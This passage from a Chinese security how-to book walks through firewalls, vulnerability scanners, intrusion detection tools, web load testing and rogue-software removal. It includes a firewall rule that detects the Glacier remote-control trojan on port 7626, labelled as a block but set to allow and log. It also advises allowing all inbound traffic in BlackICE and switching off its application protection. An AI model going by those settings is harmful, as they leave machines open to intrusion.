提示　各应用程序项中的“√”表示该程序可以使用的网络资源；“?”表示当该程序使用网络资源时将弹出信息提示对话框；“×”表示该程序不能使用网络资源。如禁止QQ宠物启动程序，则运行QQ宠物启动程序时，将显示无法连接。

步骤2：随便选择其中的一个程序之后，单击【删除】按钮，即可打开【天网防火墙提示信息】对话框，如图11-15所示。

图　11-15　天网防火墙提示信息

步骤3：在应用程序列表中选择一项并单击【选项】按钮，即可打开【应用程序规则高级设置】对话框，如图11-16所示。

图　11-16　【应用程序规则高级设置】对话框

步骤4：如果选取“端口范围”单选按钮，则会打开【应用程序规则高级设置】对话框，在其中设定该程序访问网络的端口范围（内容表示Windows Live Writer程序只能使用0～1024之间的端口），如图11-17所示。

图　11-17　【端口范围】对话框

步骤5：选择“端口列表”单选项之后，即可限定程序具体使用了哪些端口，在右侧列表框处列出了该程序可使用的端口，如图11-18所示。

图　11-18　【端口列表】对话框

步骤6：在天网防火墙主窗口中单击按钮，即可打开【自定义IP规则】对话框。勾选其中的任一复选项（如“禁止所有人连接”复选项），即可在列表框中出现对该规则地描述，如图11-19所示。

图　11-19　【自定义IP规则】对话框

步骤7：在天网防火墙的主窗口中单击按钮，即可打开【系统设置】对话框，如图11-20所示。勾选“启动”选项中的“开机后自动启动防火墙”复选框，则每次启动计算机时都将自动运行天网防火墙。单击【重置】按钮，即可打开【天网防火墙提示信息】对话框，如图11-21所示。

图　11-20　【系统设置】对话框

图　11-21　【天网防火墙提示信息】对话框

步骤8：单击【确定】按钮，即可删除所有后来加入的新规则，而所有被修改过的规则都将变成初始的默认设置。单击【向导】按钮，即可打开【天网防火墙个人版设置向导】对话框（此设置与安装天网防火墙的步骤相同）。

步骤9：如果勾选“应用程序权限”选项区中的“允许所用应用程序访问网络，并在规则中记录这些程序”复选框，将自动允许所有程序访问网络资源。而“局域网地址设定”只要在其中输入要设定IP地址，在“报警声音”中选择一个满足规则数据包到来时所发出的声音。在完成设置之后单击【确定】按钮，即可完成对天网防火墙的系统设置。

2.木马防范

在全面了解“天网防火墙”设置之后，下面讲述一下其防范“木马”的主要方法。对于木马程序第一次运行的情况可采用如下防御方法。

方法1：在“天网防火墙”运行时木马服务器程序要打开网络端口，则可弹出【天网防火墙警告信息】对话框，就可以很容易地检测到自己运行的程序是否被绑定了木马。

方法2：单击【天网防火墙警告信息】对话框中的【禁止】按钮，即可防止某程序使用网络资源。这样，攻击者就无法通过木马服务器程序来对被攻击者的机器进行远程控制了。

而对于那些已经被植入“木马”的计算机用户，则可以采用如下防御方法。

步骤1：新建一条IP规则并在“名称”处输入“禁止冰河木马的侵入”之后，再在“说明”处输入“记录冰河木马入侵，方法是记录7626端口的访问情况，在发现有冰河木马入侵的时候，同时发声”。在“数据包方向”中选择“接收”选项，再在“对方IP地址”中选择“任何地址”选项，如图11-22所示。

图　11-22　设置数据包方向和对方IP地址

步骤2：单击"TCP"选项卡，在“本地端口”中设定端口为从7626到7626，如图11-23所示。单击"UDP"选项卡，在“本地端口”中设定端口为从7626到7626，如图11-24所示。这两处（TCP/UDP）的设置主要是为了监听7626端口而进行的，因为冰河木马服务器程序就是使用这个端口与客户端程序进行通信的。

图　11-23　TCP选项卡

图　11-24　UDP选项卡

步骤3：当在“当满足上面条件时”的下拉列表框中选择“通行”选项之后，再在“同时还”选项区中勾选“记录”、“发声”复选框，如图11-25所示。此时，在IP规则列表框中可看到已出现了的“禁止冰河入侵”规则，如图11-26所示。

图　11-25　设置动作

图　11-26　出现记录冰河入侵

经过上述设置之后，只要有其他计算机想通过冰河客户端程序控制本地计算机，本地计算机就会出现“！”在图标上不断闪烁，同时还会发出警报声音。单击按钮之后，“天网防火墙”就可以显示那些通过木马访问本地计算机的IP了。

第97招　建立系统漏洞防御体系

计算机网络的脆弱及其潜在的威胁，使计算机用户深受其害，因此，建立系统漏洞防御体系，保障网络主机和网络数据的安全尤为重要。

1.检测系统是否存在可疑漏洞

微软基线安全分析器（Microsoft Baseline Security Analyzer）是为IT专业人员设计的一款专门针对微软Windows操作系统的安全检测工具，只要系统有一点的可疑漏洞都逃不过。Microsoft Baseline Security Analyzer工具不能直接解决系统的安全隐患，但可以检测出计算机上微软全系列产品的安全漏洞，用户可以根据检测结果做出相应修补和防范。

检测系统是否存在可疑漏洞的具体操作步骤如下。

步骤1：打开微软基线安全分析器之后，其运行主窗口如图11-27所示。

图　11-27　Baseline Security Analyzer主窗口

步骤2：单击Microsoft Baseline Security Analyzer主窗口上的【Scan a computer】选项，即可打开【Which computer do you want to scan?】窗口，如图11-28所示。

图　11-28　设置单个计算机的扫描

步骤3：在"computer name"下拉列表中输入目标计算机的名称（格式为“工作组名\计算机名”），或在"IP address"文本框中输入需要目标计算机的IP地址。根据需要勾选"Check for Windows administrative vulnerabilities"、"Check for IIS vulnerabilities"、"Check for SQLvulnerabilities"等选项之后，单击【Start Scan】按钮，即可开始检测指定计算机是否存在系统漏洞，如图11-29所示。

图　11-29　扫描单个计算机的系统漏洞

步骤4：完成扫描之后，Baseline Security Analyzer将会提供一份详细的系统安全报告。其中绿色勾选的部分表明系统不存在这方面的安全隐患，而带有红色叉的部分说明此项存在安全隐患，需要修补，如图11-30所示。

图　11-30　扫描结果

步骤5：在扫描结果中单击"What was scaned"链接，即可查看所扫描的具体问题；单击"Result details"链接，则可查看扫描的详细结果；单击"How to correct this"链接，即可在如图11-31所示HTML格式文档中，查看解决这些漏洞的具体方法。

图　11-31　HTML格式显示的解决方案

步骤6：选择Microsoft Baseline Security Analyzer主窗口上的【Scan multiple computers】选项，即可打开【Which computers do you want to scan?】窗口，从中对处于某一网段内的计算机实施扫描。在"Domain name"下拉列表框中输入扫描的域名或在"IP address range"文本框中输入IP地址范围，再像设置扫描单个计算机一样设置扫描选项，如图11-32所示。

图　11-32　设置扫描多台计算机

步骤7：单击【Start Scan】按钮，即可开始对指定网段内主机的系统漏洞扫描，如图11-33所示。稍等片刻之后（如果扫描的计算机数量非常多，则可能需要较长时间），即可显示该网段内所有主机的扫描情况，如图11-34所示。

图　11-33　扫描多台主机

图　11-34　扫描结果

步骤8：单击【Pick a Security to View】按钮，即可打开【Choose a security scan report to view】窗口，如图11-35所示。单击某个主机名，即可查看其扫描结果，如图11-36所示。

图　11-35　【扫描结果报告】窗口

图　11-36　【扫描报告漏洞描述】窗口

2.监视系统的操作进程

虽然可以修复一些系统已经存在的漏洞，但随着网络技术的发展，总是会有新漏洞被发现，这就要求用户注意对系统运行状态进行监视，及时发现并预防黑客利用漏洞进行入侵。

（1）开启系统审核机制

Windows操作系统自带有日志功能，能将系统进行的任何操作详细记录下来。因此，用户可以随时通过查看日志的方法，发现黑客的入侵行踪。

以Windows XP操作系统为例，开启系统审核机制的具体操作步骤：在【管理工具】窗口中双击【本地安全策略】图标，即可打开【本地安全设置】窗口。展开左侧的【安全设置】→【本地策略】→【审核策略】目录树选项，在其右侧窗口中可看到相关安全设置，如图11-37所示。

图　11-37　本地安全设置窗口

注意　要想启用“审核对象访问”策略，必须使用NTFS文件系统。它既为用户提供访问控制，还可以对用户的操作进行审核。

因此，对于系统的重要资源就可以进行此类配置。只要所有的审核都生效后，用户就可以通过检查日志来发现黑客的蛛丝马迹，从而按着这个线索进行抵抗。

（2）运用日志监视

日志作为一种系统监视工具，只要在系统中启用审核之后，管理员就可以经常检查系统安全日志，来判断是否有黑客入侵。查看系统日志的具体方法如下。

步骤1：在【管理工具】窗口中双击【事件查看器】图标，即可打开【事件查看器】窗口，在左窗格的目录树中选择【安全性】目录选项。

步骤2：再右击右侧窗口中某一安全性事件，在快捷菜单中选择【属性】选项，即可打开【成功审核属性】对话框，在其中对事件安全性进行查看，如图11-38所示。

图　11-38　查看事件安全性

日志其实就是为了系统管理员了解系统安全状况而设计的，其他人员是不必要访问的。因此，最好把日志文件设置为只有管理员才有权限访问，并为它加上审核的功效。

第98招　单机版极品安全卫士CATHER

CATHER企业机版是在CATHER单机版的基础上升级开发而成的，它集防火墙、安全分析、带宽分配、流量限制、数据过滤分析、网络事件告警、日志分析、实时监控等多个功能于一体，既可用于各种规模的企事业单位的网络系统，也可用于个人网络系统。

只需要在局域网关键结点（如代理服务器、网关等）上安装一个正版的CATHER，便可对整个局域网实施全面的安全防护，无需任何额外硬件的支持。该系统无任何额外的硬件和软件，成本较低，易于维护。

CATHER的功能非常多，下面介绍几个最容易接触到的功能使用方法：

（1）防火墙

由于CATHER的防火墙是基于IM实现的，位于系统协议层底层，可以完全实现网络的物理隔离，实现对网络通信的全面监控，如图11-39所示。

图　11-39　“防火墙”选项页面

可以通过展开“MAC层过滤”选项，单击鼠标右键，从快捷菜单中选择“添加条件”选项，如图11-40所示。如果选择“模式设置”选项，则可以在弹出的对话框中根据需要设置防火墙过滤的严格程度，如图11-41所示。

图　11-40　添加条件

图　11-41　选择过滤模式

（2）安全分析

系统提供了方便的数据过滤、协议分析功能，包括发送端硬件、接收端硬件、发送端与接收端的IP地址、传输层所用协议和端口等，如图11-42所示。

图　11-42　“安全分析”页面

（3）TCP/IP连接状态跟踪

CATHER可同时对多达200000个TCP连接状态进行跟踪。在使用IE登录http://china.msn.com/之后，可以发现该软件即时捕获到了这一连接，并迅速对远程服务器的类型等方面进行探测，如图11-43所示。

图　11-43　“TCP/IP连接状态跟踪”选项页面

（4）主机管理

CATHER可同时对企业内局域网的所有主机进行实时流量、带宽分类统计，物理隔离等功能，对网管综合部署网络具有重要参考价值，如图11-44所示。

图　11-44　“主机管理”页面

除上述功能外，还可在CATHER中进行流量、带宽控制告警，在网络资源有限的情况下，可实现资源的合理配置。进行通信干涉可对上下两个方向数据包的内容更改，这种干涉对上层的协议层、应用层以及其他主机是完全透明的。

第99招　用WAS检测网站承受压力

面对越来越傻瓜化的DDOS（Distributed Denial of Service，分布式拒绝服务器）工具，攻击者甚至不需要知道什么是DDOS就可以轻而易举地让这些网站瘫痪。Microsoft Web Application Stress Tool是专门用来进行实际网站压力测试的一套工具，可用少量Client端计算机仿真大量用户上线对网站服务所可能造成的影响，在网站实际上线之前先对所设计的网站进行如同真实环境测试，以找出系统潜在问题，对系统进行进一步的调整和设置。

1.检测网站的承受压力

在开始录制一个脚本前需准备好浏览器，清除浏览器的缓冲Cache。否则，WAS也许不能记录所需的浏览器活动，因为浏览器可能从缓冲区而不是从所请求的服务器取得请求页面。

具体的操作步骤如下。

步骤1：在IE浏览器窗口中选择【工具】→【Internet选项】菜单项，即可弹出【Internet选项】对话框。单击“常规”选项卡中的【删除文件】按钮，即可成功地删除Internet临时文件，如图11-45所示。

图　11-45　【Internet选项】对话框

步骤2：下载并安装"WAS"软件，双击"WAS"应用程序图标，即可启动WAS主程序。由于是第一次运行WAS程序，将会弹出【Create new script】对话框，询问以什么样的方式创建一个新的测试脚本，如图11-46所示。

图　11-46　【Create new script】对话框

步骤3：根据需要单击【Recard】按钮，将会弹出【Browse Recorder-Step 1 of 2】对话框，可以指定一些记录设置，如图11-47所示。在清除所有的选择框后，单击【Next】按钮，将会弹出【Browse Recorder-Step 2 of 2】对话框，如图11-48所示。

图　11-47　【Browse Recorder-Step 1 of 2】对话框

图　11-48　【Browse Recorder-Step 2 of 2】对话框

步骤4：单击【Finish】按钮，WAS将启动一个浏览器窗口以便记录浏览器的活动情况，同时WAS会置于记录模式。在浏览器地址栏中输入要测试的网站地址，在WAS窗口中可以看到HTTP信息跟随浏览活动而进行实时更新，如图11-49所示。

图　11-49　"WAS"主窗口

步骤5：当完成了站点浏览后，返回到"WAS"主窗口。WAS还处于记录状态，单击【Stop Recording】按钮，将终止记录并产生一个新的测试脚本，如图11-50所示。

图　11-50　“脚本测试”窗口

步骤6：为了能更好地进行性能测试，还需要修改测试脚本的设置。单击左边的脚本名展开脚本信息，找到"Settings"标签并单击"Settings"选项，即可在右边窗口中打开Settings视图，这里可以为脚本测试指定参数设置，如图11-51所示。选择"Throttle bandwidth"复选框，在下拉菜单选择一个代表大多数用户连接吞吐量的带宽即可，如图11-52所示。

图　11-51　设置指定脚本参数

图　11-52　指定带宽瓶颈

步骤7：若想测试需要署名登录的WEB站点时，WAS提供一个USERS特性，可用于存储多个用户的用户名、密码和Cookie信息。单击主窗口左侧列表中的"Users"项，双击窗口右侧列表中的"Default"选项，即可打开“用户”视图（默认已创建1个用户）。可修改用户名和密码使用，也可自己建立用户，如图11-53所示。

图　11-53　“用户视图”页面

步骤8：单击【Remove All】按钮，则可清除所有记录。在"Number of new users"输入创建的新用户数量，在"Password"中输入密码，相同的密码会赋给所有用户。单击【Create】按钮，用户表单就会填满指定数量的用户。

步骤9：设置完成后选择【Scripts】→【Run】菜单项，即可开始测试，如图11-54所示。

图　11-54　开始测试

2.进行数据分析

选择【View】→【Reports】菜单项，即可打开【报告】窗口，在左侧列表中将展开相应的报告，如图11-55所示。检查Socket Errors部分是否有任何的socket有关错误（值不为0）。

图　11-55　“报告”窗口

这里列出每种socket错误的解释：

1）Connect：客户端不能与服务器取得连接的次数。如果这个值偏高，检查在客户端与服务器之间产生的任何潜在错误。从每个客户端Ping服务器或Telnet服务器的端口80验证可得到正确的回应；

2）Send：客户端不能正确发送数据到服务器的次数。如果这个值偏高，检查服务器是否工作正常。在客户端打开一个浏览器然后手动点击站点页面验证站点是否工作正常；

3）Recv：客户端不能正确地从服务器接收数据的次数。如果这个值偏高，执行和Send错误相同的操作，还要检查一下如果减低负载系数，错误是否减少；

4）Timeouts：超时的线程数目，而且随后就关闭了。如果这个值偏高，在客户端打开一个浏览器，然后手动点击站点页面验证是否即使只有一个用户程序也会很慢。再做一个不同负载系数的压力测试，看看程序的潜在特征。

如果"socket"错误很低或为0，在左侧的报告列表中找到"Result Codes"部分。检查一下是否所有结果代码都是200，200表示所有请求都被服务器成功地返回。如果找到大于或等于400的结果，单击报告列表中的"Page Data"结点，展开所有项目，查看每个脚本项在右边窗口页面数据的报告，找出出现错误的项目，显示如图11-56所示。

图　11-56　查看任意一个脚本项的报告

通过不断增减用户数量和改变其他参数测试，可以最大限度地了解网站程序和服务器的承受能力，以便在开始提供服务之前限止访问量及其他参数，保证网站可以正常运行。

第100招　专业入侵检测系统BlackICE

BlackICE是ISS安全公司出品的一款著名的入侵检测系统，拥有强大的检测、分析及防护功能，可侦察出谁在扫描端口，在入侵者进入前进行拦截，以保护电脑不受危害。

1.BlackICE安装初步

BlackICE的安装过程稍微有点复杂，BlackICE会要求用户有一个序列号才能进行安装。

具体的操作步骤如下。

步骤1：下载并解压"BlackICE"程序文件夹，如图11-57所示。双击"BlackICE"应用程序图标，即可弹出【欢迎ISS BlackICE安装】对话框，如图11-58所示。

图　11-57　"BlackICE"程序文件夹

图　11-58　【欢迎ISS BlackICE安装】对话框

步骤2：单击【Next】按钮，即可打开【License Agreement】对话框，在其中阅读安装许可协议内容，如图11-59所示。单击【I Accept】按钮，即可打开【BlackICE PC Protection License】对话框，在"License"文本框中输入版本序列号，如图11-60所示。

图　11-59　【安装许可协议】对话框

图　11-60　【BlackICE PC Protection License】对话框

步骤3：单击【Next】按钮，即可打开【Choose Destination Location】对话框，在其中根据需要选择安装的目标位置，如图11-61所示。

图　11-61　【Choose Destination Location】对话框

步骤4：在选择好安装的目标位置后，单击【Next】按钮，即可打开【Select Program Folder】对话框，在其中选择程序的安装文件夹，如图11-62所示。

图　11-62　【Select Program Folder】对话框

步骤5：单击【Next】按钮，即可打开【BlackICE PC Protection Configuration】对话框，在其中根据需要开启或禁用AP（Application Protection，程序保护），推荐选择"Off"。因为如果选择"On"，BlackICE会在复制文件之后对本机进行扫描，并记录下所有可能访问Internet的程序，这一过程相当耗时（但也有人说这是入侵监测系统中最核心的部分之一，通过监测系统内部的所有变化，为系统提供最大安全性），因此推荐"Off"，如图11-63所示。

图　11-63　【BlackICE PC Protection Configuration】对话框

步骤6：单击【Next】按钮，即可打开【Start Copying Files】对话框，程序开始复制文件，如图11-64所示。

图　11-64　【Start Copying Files】对话框

步骤7：单击【Next】按钮，程序开始安装并显示安装的进度条。在安装完成之后，即可弹出【InstallShield Wizard Complete】对话框。单击【Finish】按钮，即可完成整个安装过程，如图11-65所示。

图　11-65　【InstallShield Wizard Complete】对话框

2.BlackICE应用实战

BlackICE安装完成并启动之后，会在系统托盘中出现一个相应的图标，报警时显现出红黄两色，可关闭以节省CPU资源。双击打开BlackICE主窗口后，可看到主要设置项都包含在事件（Events）、入侵者（Intruders）和历史（History）三个选项卡中。

在使用BlackICE之前先对其进行基本的设置，才能进行入侵检测，具体的使用方法如下。

步骤1：选择【tool】→【Edit BlackICE Settings】菜单项，即可打开【BlackICE Settings】对话框，如图11-66所示。

图　11-66　【防火墙】选项卡

步骤2：切换到"Firewall"选项卡，在"Protection"部分选择"Trusting:allow all inbound traffic"项，如果是个人用户，只需选择"Enable Auto-Blocking"项，如果是局域网用户，则需三个选项都选择，否则会出现网上邻居无法浏览、无法共享上网的情况。

步骤3：切换到"Evidence Log"选项卡，选择"Logging enabled"选项之后，"Log Files"部分几个小项目会自动选取，其设置采用默认，如图11-67所示。

图　11-67　设置入侵日志

步骤4：在设置完成之后，在"Events"选项卡中可查看尝试连接的IP地址和方式，如图11-68所示。在"History"选项卡图表中可看到该连接被认为是“可疑”的入侵，如图11-69所示。

图　11-68　【事件】选项卡

图　11-69　【历史】选项卡

提示　在使用过程中一定要及时升级软件，才能够有效地、及时地过滤掉最新的入侵行为，从而有效地保障计算机的安全。

第101招　免费的专定防火墙Zone Alarm

Zone Alarm是一款防火墙软件，主要包括显示与网络连接的应用程序、允许或禁止某个应用程序的网络连接、允许或禁止全部所有的网络连接、显示发送和接受的字节数、屏保程序启动时禁止网络连接、空闲一段时间后禁止网络连接及设定安全级别等功能。

下面介绍Zone Alarm的使用，具体使用方法如下。

步骤1：执行Zone Alarm主程序，即可打开该防火墙主窗口，如图11-70所示。

图　11-70　Zone Alarm防火墙主窗口

步骤2：选择左侧的【防火墙】功能，即可打开【防火墙选项】窗口，在其右侧有Internet区域安全、信任区域安全、禁止区域安全等三个关于用户的网络连接安全分区。通过调整滑块可以改变各个区域的安全级别。当设置为最高时，用户的计算机在网络上将被隐藏，同时也会禁止一切共享。

步骤3：在【防火墙选项】窗口的任一安全选区中单击【定制】按钮，即可打开【自定义防火墙设置】对话框，在其中根据需要对开放的端口进行设置，如图11-71所示。

图　11-71　自定义防火墙设置对话框

步骤4：Zone Alarm Firewall（eTrust）防火墙还提供了电子邮件保护功能，能够对邮件附件中的病毒或恶意程序进行隔离，如图11-72所示。

图　11-72　电子邮件保护窗口

步骤5：选择Zone Alarm Firewall（eTrust）防火墙主窗口中的【隐私保护】功能项，即可在其中设置Cookie控制、拦截广告及活动代码控制等保护选项，如图11-73所示。

图　11-73　隐私保护窗口

步骤6：选择Zone Alarm Firewall（eTrust）防火墙主窗口的【ID锁定】功能，即可打开【ID锁定】窗口，在其中进行一些必要设置，可以预防银行账号、邮箱密码、网络游戏的账号等机密信息的泄露，从而保护数据安全，如图11-74所示。

图　11-74　ID锁定窗口

另外，Zone Alarm Firewall（eTrust）防火墙还具有手动和定期自动清理缓存、清除系统中文档记录、IE记录以及文件碎片、ID锁定（对用户私密资料进行保护）等功能。

第102招　萨客嘶入侵检测系统

目前可供选择的入侵检测系统很多，除入侵检测设备自带的管理系统外，还可在相应检测主机上通过安装其他入侵检测工具来实现入侵检测。

萨客嘶入侵检测系统是一种积极主动的网络安全防护工具，提供了对内部和外部攻击的实时保护。它通过对网络中所有传输的数据进行智能分析和检测，从中探测网络或系统中是否存在违反安全策略的行为和被攻击的迹象，在系统受到入侵之前拦截和阻止入侵。

萨客嘶入侵检测系统是基于协议分析，采用了快速的多模式匹配算法，能对当前复杂高速的网络进行快速精确分析。在网络安全和网络性能方面可以提供全面和深入的数据依据，是企业、政府和学校等机构进行多层次防御的重要产品。

萨客嘶入侵检测的操作方法很简单，具体的操作步骤如下。

步骤1：下载并安装萨客嘶入侵检测系统，其主窗口包括按结点浏览、运行状态以及统计项目三个部分，如图11-75所示。

图　11-75　【萨客嘶入侵检测系统】主窗口

步骤2：选择【监控】→【开始】菜单项，即可打开【设置】对话框，在其中选择相应的网卡，如图11-76所示。因为该检测系统是通过适配器来捕捉网络中正在传输的数据，并对其进行分析，所以正确选择网卡是能够捕捉到入侵的关键一步。

图　11-76　【设置】对话框

步骤3：单击【确定】按钮，即可对本机所在的局域网内所有的主机进行监控，结果如图11-77所示。在其中可以看到检测到主机的IP地址、对应的MAC地址、本机的运行状态以及数据包统计、TCP连接情况、FTP分析等信息。

图　11-77　进行监控的得到结果

步骤4：在“会话”选项卡中可看到在监控时，进行会话的源IP地址、源端口、目标IP地址、目标端口、使用到的协议类型、状态、事件、数据包、字节等信息，如图11-78所示。

图　11-78　“会话”选项卡

步骤5：如果想分类查看会话信息，则在“会话信息”列表中右击某条信息，在快捷菜单中选择“按源结点进行过滤”选项，即可按某个源IP地址显示会话信息，如图11-79所示。

图　11-79　按源IP地址显示会话信息

步骤6：在左边的结点列表中右击某个物理地址，在快捷菜单中选择“增加别名”选项，即可打开【增加别名】对话框，如图11-80所示。

图　11-80　【增加别名】对话框

步骤7：在“别名”文本框中输入名称之后，单击【确定】按钮，即可使该物理地址显示自定义的名称，如图11-81所示。如果存在违反安全策略的行为和被攻击的迹象，则在“入侵事件”选项卡下，即可看到入侵事件的详细信息，如图11-82所示。

图　11-81　自定义的物理地址名称

图　11-82　在“入侵”选项卡下查看事件

步骤8：在“日志”选项卡中可看到HTTP请求、邮件、FTP传输、QQ事务以及MSN事务等各种日志的详细信息，如图11-83所示。在“日志”选项卡中还可自定义日志的显示格式，单击【自定义列】按钮，即可打开【表格显示定义】对话框，如图11-84所示。在其中勾选相应的复选框后，单击【确定】按钮，即可完成设置。

图　11-83　查看各种日志

图　11-84　【表格显示定义】对话框

步骤9：选择【设置】→【选项】菜单项，即可打开【详细设置】对话框，在其中勾选相应的复选框，展开“分析模块”中各个子项，在其中选择“入侵分析器”选项，如图11-85所示。再设置是否启用日志、日志缓冲区尺寸的大小以及日志文件路径，对“FTP分析器”、“HTTP分析器”、“Email分析器”等各个选项进行设置，如图11-86所示。

图　11-85　【详细设置】对话框

图　11-86　设置“入侵分析器”选项

步骤10：选择【设置】→【别名设置】菜单项，即可打开【别名设置】对话框，如图11-87所示。在其中可以对物理地址、IP地址和端口进行各种操作，如添加、编辑、删除、导出等。

图　11-87　【别名设置】对话框

步骤11：选择【设置】→【检测规则设置】菜单项，即可打开【入侵规则设置】对话框。在其中对各种入侵规则进行添加、删除、增加选项、删除选项等，如图11-88所示。

图　11-88　【入侵规则设置】对话框

该检测系统可检测出用户网络中存在的黑客入侵、网络资源滥用、蠕虫攻击、后门木马、ARP欺骗、拒绝服务攻击等各种威胁；同时，可以根据策略配置主动切断危险行为，对目标网络进行保护。

第103招　用无处藏身检测恶意IP

在与网络的接触中，许多用户都曾经被人攻击过，此时，使用无处藏身这一小软件就可以很容易地检测出恶意IP的真实面目。

1.发现恶意IP

现在网上很多黑客喜欢使用一些扫描器来随意到处乱探，以检测是否有什么漏洞可以有机会进入。针对这种情况大家可以使用天网防火墙来查知是否有人在恶意扫描自己。

无处藏身软件"Seekyou"使用起来极其方便，具体的安装过程如下。

步骤1：双击下载并解压"Seekyou"文件夹，双击"Seekyou"应用程序图标，即可打开【欢迎使用Seekyou安装向导】对话框，如图11-89所示。

图　11-89　【欢迎使用Seekyou安装向导】对话框

步骤2：单击【下一步】按钮，即可打开【许可协议】对话框，在其中查看该软件的安装协议，如图11-90所示。如果同意则选择“我同意此协议”单选项，单击【下一步】按钮，即可进入【信息】提示框，如图11-91所示。

图　11-90　查看安装协议

图　11-91　【信息】对话框

步骤3：单击【下一步】按钮，即可进入【选择目标位置】对话框，如图11-92所示。在选择好相应安装路径之后（建议使用默认路径），单击【下一步】按钮，即可进入【选择开始菜单文件夹】对话框，如图11-93所示。单击【下一步】按钮，即可选择附加任务，如图11-94所示。

图　11-92　选择合适的安装路径

图　11-93　选择开始菜单文件夹

图　11-94　选择附加任务

步骤4：如不想在桌面创建快捷方式，单击【下一步】按钮，即可进入【准备安装】对话框，如图11-95所示。单击【安装】按钮，即可开始安装，如图11-96所示。

图　11-95　【准备安装】对话框

图　11-96　软件的安装过程

步骤5：在安装完毕之后，即可进入【Seekyou安装向导完成】对话框，提示用户已经成功安装了该软件，如图11-97所示。单击【完成】按钮，即可完成整个安装过程。

图　11-97　【Seekyou安装向导完成】对话框

2.追踪恶意IP

将无处藏身软件安装成功之后，就可以使用它来追踪恶意IP了，其具体的操作步骤如下。

步骤1：运行该软件，即可进入软件主窗口，如图11-98所示。

图　11-98　无处藏身的主窗口

步骤2：单击左侧的“IP工具”项下的Whois项之后，在切换到的界面中输入域名和IP地址，如图11-99所示。单击【查询】按钮，即可查找到相应的信息。

图　11-99　查询恶意IP

第12章
流氓软件与间谍程序清除

重点提示

♂流氓软件的清除

♂使用Spybot-Search＆Destroy

♂间谍软件防护实战

♂蜜罐的使用

♂诺顿网络安全特警

本章精粹：

现在网络上的流氓软件和间谍软件很多，往往在浏览某些网页时就会被安装这些软件，并且很不好卸载，一般只能使用流氓软件与间谍软件的专用清除工具才能进行彻底地清除。

随着网络技术的日趋更新，越来越多的黑客工具也在滋生蔓延，危及着人们正常的生活。因此，无论是作为黑客还是一个普通的电脑使用者，都需要掌握一定的维护技术，对存在机器中的间谍、木马等黑客病毒实施全方位防御，彻底清理系统，实现应用环境的安全。

第104招　流氓软件的清除

一些“流氓软件”会通过捆绑共享软件、采用一些特殊手段频繁弹出广告窗口、窃取用户隐私，严重干扰用户正常使用电脑，真可谓是“彻头彻尾的流氓软件”。根据不同的特征和危害，困扰广大计算机用户的流氓软件主要有广告软件、间谍软件、浏览器支持、行为记录软件和恶意共享软件5类。

1.清理浏览器插件

现在有很多与网络有关的工具，如下载工具，搜索引擎工具等都可能在安装时在浏览器中安装插件，这些插件有时并无用处，还可能是流氓软件，所以有必要将其清除。

ActiveX技术是一种共享程序数据和功能的技术。一般软件需要用户单独下载然后执行安装，而ActiveX插件只要用户浏览到特定的网页，IE浏览器就会自动下载并提示用户安装。目前很多软件都采取这种安装方式，如播放Flash动画的播放插件。

当然，很多流氓软件也利用浏览器这一特点，并不进行提示直接下载安装，甚至有些恶意插件还会更改系统配置，严重地影响系统运行的稳定性。

（1）使用Windows XP SP2插件管理功能

如果用户使用的系统是Windows XP SP2及其升级版本的系统，则在IE浏览器的“工具”菜单中将出现一个“管理加载项”菜单。通过该菜单，用户可以对已经安装的IE插件进行管理。具体的操作方法如下。

步骤1：打开IE浏览器，单击【工具】→【管理加载项】菜单项，即可打开【管理加载项】对话框，可以查看各个加载项的详细信息。如图12-1所示。

图　12-1　IE浏览器窗口

步骤2：在【管理加载项】对话框中可查看已运行的加载项，如图12-2所示。“Internet Explorer已经使用的加载项”列表是计算机上所存在的最完整的加载项列表。列表中详细显示了加载项的名称、状态、类型、发行商及文件名等信息。

图　12-2　【管理加载项】对话框

步骤3：插件“类型”包括工具栏、第三方按钮、ActiveX控件、浏览器扩展等。用户可以根据需要选取某个插件，然后单击【禁用】按钮，将其屏蔽。

（2）使用IE插件管理专家

“IE插件管理专家”（Upiea）的IE插件屏蔽功能突破了传统的插件屏蔽软件思维模式，它不仅能够屏蔽插件，还可以识别当前已安装的插件，并可卸载插件。具体操作方法如下。

步骤1：下载并解压“IE插件管理专家”压缩文件后，双击upiea.exe文件即可进入其操作界面，如图12-3所示。选择【插件免疫】标签，单击界面上方的不同标签，选择需要免疫的插件名称，单击【应用】按钮，即可完成该插件的免疫操作。插件免疫后，系统将不能再安装相应的插件。

图　12-3　“IE插件管理专家”主界面

步骤2：选择【插件管理】标签，在其中查看已加载插件，如图12-4所示。选取某个插件，单击下拉按钮可将其设置为启用或禁用状态，还可单击【删除】按钮将所选插件删除。

图　12-4　【插件管理】标签页

步骤3：Upiea还提供了丰富的【系统设置】功能，只需要选择【系统设置】标签，如图12-5所示。Upiea可清理垃圾文件，恢复文件关联及解除注册表的锁定，如图12-6所示。

图　12-5　【系统设置】标签页

图　12-6　【系统其他】标签页

步骤4：“IE插件管理专家”提供了定时工具，如图12-7所示。“IE插件管理专家”提供了进程管理工具，如图12-8所示。

图　12-7　【实用工具】标签页

图　12-8　【进程管理】选项页

2.流氓软件的防范

除在遭受其“骚扰”和“入侵”后进行“亡羊补牢”外，难道就真的没有办法了吗？其实更应做好事前防范，打造对“流氓软件”具有免疫功能的电脑系统。

（1）及时更新补丁程序

如果觉得下载补丁程序太麻烦，则可以利用安装的杀毒软件、防火墙等安全工具中的漏洞扫描功能，扫描自己的系统并自动下载安装补丁程序。在扫描系统漏洞前，应先升级到最新版本，否则可能无法检测出最新发布的补丁程序。

下面以瑞星杀毒软件为例介绍其扫描系统漏洞并下载补丁的操作方法。

步骤1：单击瑞星杀毒软件界面上的【软件升级】按钮，升级杀毒软件，如图12-9所示。

图　12-9　瑞星杀毒软件主界面

步骤2：单击【安检】按钮，软件将自动检测系统，报告系统漏洞，如图12-10所示。

图　12-10　安检扫描

步骤3：如果发现有系统漏洞，则可单击左侧的“扫描系统漏洞并升级补丁”超链接，系统开始下载安装补丁，如图12-11所示。

图　12-11　扫描系统漏洞

步骤4：单击“详细信息”超链接，即可弹出【系统漏洞】对话框，在其中选取需要下载的补丁，如图12-12所示。单击【修复漏洞】按钮，即可开始进行漏洞修复。

图　12-12　【系统漏洞】对话框

小技巧　用户也可直接使用瑞星卡卡上网安全助手进行系统漏洞扫描并修复，因为瑞星杀毒软件实际调用的就是瑞星卡卡上网安全助手进行系统漏洞扫描并修复的。

（2）禁用ActiveX脚本

禁用ActiveX脚本可以阻止恶意IE插件的安装，但也能够造成某些使用ActiveX技术的网页无法正常显示。禁用ActiveX脚本的具体操作方法如下。

